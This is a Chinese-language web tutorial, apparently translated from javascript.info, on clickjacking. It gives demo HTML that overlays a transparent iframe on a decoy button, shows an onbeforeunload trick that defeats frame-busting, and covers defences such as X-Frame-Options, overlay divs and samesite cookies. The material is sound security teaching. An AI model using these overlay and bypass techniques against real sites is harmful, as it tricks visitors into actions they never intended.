“点击劫持”攻击允许恶意页面代表访问者点击“受害网站”。
许多网站都曾被这种方式攻击,包括 Twitter、Facebook、Paypal 等网站。当然,它们都已修复。
想法
这个想法非常简单。
以下是 Facebook 如何被点击劫持的
- 访问者被诱骗到恶意页面。方式并不重要。
- 该页面上有一个看似无害的链接(例如“现在致富”或“点击这里,非常有趣”)。
- 在该链接之上,恶意页面放置了一个透明的
<iframe>
,其src
来自 facebook.com,并且“点赞”按钮正好位于该链接之上。通常这是通过z-index
实现的。 - 在试图点击链接时,访问者实际上点击了按钮。
演示
以下是恶意页面示例。为了更清晰地说明,<iframe>
设置为半透明(在真正的恶意页面中,它是完全透明的)。
<style>
iframe { /* iframe from the victim site */
width: 400px;
height: 100px;
position: absolute;
top:0; left:-20px;
opacity: 0.5; /* in real opacity:0 */
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
攻击的完整演示
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>
这里我们有一个半透明的 <iframe src="facebook.html">
,在示例中我们可以看到它悬停在按钮上。点击按钮实际上是点击了 iframe,但用户无法看到,因为 iframe 是透明的。
因此,如果访问者已在 Facebook 上授权(通常会开启“记住我”),那么它会添加一个“点赞”。在 Twitter 上,这将是一个“关注”按钮。
以下是相同的示例,但更接近现实,<iframe>
设置为 opacity:0
。
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>
我们只需要将恶意页面上的 <iframe>
定位到按钮正好位于链接上的位置。这样,当用户点击链接时,实际上是点击了按钮。这通常可以通过 CSS 实现。
攻击只影响鼠标操作(或类似操作,例如移动设备上的点击)。
键盘输入很难重定向。从技术上讲,如果我们要攻击一个文本字段,我们可以将 iframe 定位到文本字段相互重叠的位置。因此,当访问者尝试将焦点放在页面上看到的输入框时,实际上是将焦点放在了 iframe 内部的输入框上。
但问题是,访问者输入的所有内容都会被隐藏,因为 iframe 是不可见的。
当用户无法看到新字符在屏幕上打印时,他们通常会停止输入。
老式防御(弱)
最古老的防御方法是使用一些 JavaScript 代码来禁止在框架中打开页面(称为“框架破坏”)。
它看起来像这样
if (top != window) {
top.location = window.location;
}
也就是说:如果窗口发现它不在顶部,它会自动将自己设置为顶部。
这不是可靠的防御方法,因为有很多方法可以绕过它。让我们介绍一些方法。
阻止顶部导航
我们可以在 beforeunload 事件处理程序中阻止更改 top.location
引起的转换。
顶层页面(包含页面,属于黑客)设置了一个阻止处理程序,如下所示
window.onbeforeunload = function() {
return false;
};
当iframe
尝试更改top.location
时,访问者会收到一条消息,询问他们是否要离开。
在大多数情况下,访问者会回答否,因为他们不知道iframe
的存在 - 他们只能看到顶层页面,没有理由离开。所以top.location
不会改变!
实际操作
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div>Changes top.location to javascript.info</div>
<script>
top.location = 'https://javascript.js.cn';
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0;
z-index: 1;
}
</style>
<script>
function attack() {
window.onbeforeunload = function() {
window.onbeforeunload = null;
return "Want to leave without learning all the secrets (he-he)?";
};
document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
}
</script>
</head>
<body>
<p>After a click on the button the visitor gets a "strange" question about whether they want to leave.</p>
<p>Probably they would respond "No", and the iframe protection is hacked.</p>
<button onclick="attack()">Add a "protected" iframe</button>
</body>
</html>
沙箱属性
sandbox
属性限制的一件事是导航。沙箱化的iframe
不能更改top.location
。
因此,我们可以使用sandbox="allow-scripts allow-forms"
添加iframe
。这将放宽限制,允许脚本和表单。但我们省略了allow-top-navigation
,因此更改top.location
是被禁止的。
以下是代码
<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>
还有其他方法可以绕过这种简单的保护。
X-Frame-Options
服务器端标头X-Frame-Options
可以允许或禁止在框架中显示页面。
它必须完全作为HTTP标头发送:如果在HTML<meta>
标签中找到,浏览器将忽略它。因此,<meta http-equiv="X-Frame-Options"...>
将不起作用。
标头可能具有3个值
DENY
- 永远不要在框架中显示页面。
SAMEORIGIN
- 如果父文档来自同一来源,则允许在框架中显示。
ALLOW-FROM domain
- 如果父文档来自给定域,则允许在框架中显示。
例如,Twitter 使用X-Frame-Options: SAMEORIGIN
。
以下是结果
<iframe src="https://twitter.com"></iframe>
根据您的浏览器,上面的iframe
要么为空,要么提醒您浏览器不允许该页面以这种方式导航。
显示带有禁用功能
X-Frame-Options
标头有一个副作用。其他网站将无法在框架中显示我们的页面,即使他们有充分的理由这样做。
因此,还有其他解决方案……例如,我们可以用一个<div>
覆盖页面,该<div>
具有样式height: 100%; width: 100%;
,以便它可以拦截所有点击。如果window == top
或我们发现不需要保护,则应删除该<div>
。
类似于以下内容
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
// there will be an error if top window is from the different origin
// but that's ok here
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
演示
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
</head>
<body>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
This text is always visible.
But if the page was open inside a document from another domain, the div over it would prevent any actions.
<button onclick="alert(1)">Click wouldn't work in that case</button>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<iframe src="iframe.html"></iframe>
</body>
</html>
Samesite cookie 属性
samesite
cookie 属性也可以防止点击劫持攻击。
具有此属性的 cookie 仅在直接打开网站时才会发送,而不是通过框架或其他方式发送。有关更多信息,请参阅章节Cookies, document.cookie。
如果网站(例如 Facebook)在其身份验证 cookie 上具有samesite
属性,如下所示
Set-Cookie: authorization=secret; samesite
…那么当 Facebook 在来自另一个网站的 iframe 中打开时,此 cookie 不会被发送。因此,攻击将失败。
当不使用 cookie 时,samesite
cookie 属性将不起作用。这可能允许其他网站轻松地在 iframe 中显示我们的公共、未经身份验证的页面。
但是,这也可能在少数情况下允许点击劫持攻击。例如,一个通过检查 IP 地址来防止重复投票的匿名投票网站,仍然容易受到点击劫持的攻击,因为它没有使用 cookie 对用户进行身份验证。
总结
点击劫持是一种“欺骗”用户点击受害者网站而无需他们知晓的方式。如果存在重要的点击激活操作,这将非常危险。
黑客可以在消息中发布指向其恶意页面的链接,或通过其他方式诱使访问者访问其页面。有很多变体。
从一个角度来看,攻击“并不深入”:黑客所做的只是拦截一次点击。但从另一个角度来看,如果黑客知道点击后会出现另一个控件,那么他们可能会使用狡猾的消息来迫使用户也点击它们。
这种攻击非常危险,因为当我们设计 UI 时,通常不会预料到黑客可能会代表访问者点击。因此,漏洞可能出现在完全意想不到的地方。
- 建议在不打算在框架内查看的页面(或整个网站)上使用
X-Frame-Options: SAMEORIGIN
。 - 如果我们希望允许我们的页面显示在 iframe 中,但仍然保持安全,请使用覆盖
<div>
。
评论
<code>
标签,对于多行代码,请将它们包装在<pre>
标签中,对于超过 10 行的代码,请使用沙盒(plnkr,jsbin,codepen…)